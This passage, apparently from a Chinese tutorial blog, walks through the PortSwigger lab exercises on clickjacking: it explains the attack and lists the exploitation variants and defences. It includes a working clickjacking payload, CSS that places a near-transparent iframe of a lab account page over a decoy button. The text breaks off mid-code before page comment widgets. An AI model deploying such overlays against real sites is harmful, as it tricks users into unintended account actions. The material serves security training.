PortSwigger 点击劫持(Clickjacking)

点击劫持是一种利用透明图层技术的网络攻击,用户看似点击正常内容,实则触发恶意操作。攻击手段包括CSRF令牌、URL参数预填充、帧破坏和DOMXSS。防御方法有设置X-Frame-Options和实施内容安全策略(CSP)。

一、什么是点击劫持

        点击劫持(Clickjacking)是一种利用Web页面层叠的透明图层技术的攻击方式。攻击者将有害的网站内容覆盖在一个看似无害的页面上,当用户点击看似无害页面时,实际上是触发了隐藏在下层的有害操作,如下载恶意软件、操纵用户账户等。

        这种攻击方式通常被用于社交工程攻击、网络钓鱼以及其他种类的诈骗活动中。点击劫持攻击往往难以被用户察觉,因为用户认为他们点击了无害页面上的链接,而实际上却做了完全不同的事情。

二、利用方式

        1、使用 CSRF 令牌保护的基本点击劫持  

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        #透明度
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:500px ;
        left: 59px;
        z-index: 1;
    }
</style>
#构造页面
<div>Click me</div>
#攻击页面
<iframe src="https://0a75006703037302c2f28a29008e001f.web-security-academy.net/my-account"></iframe>

        2、使用从 URL 参数预填充的表单输入数据的点击劫持

<style>
    iframe {
        pos
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值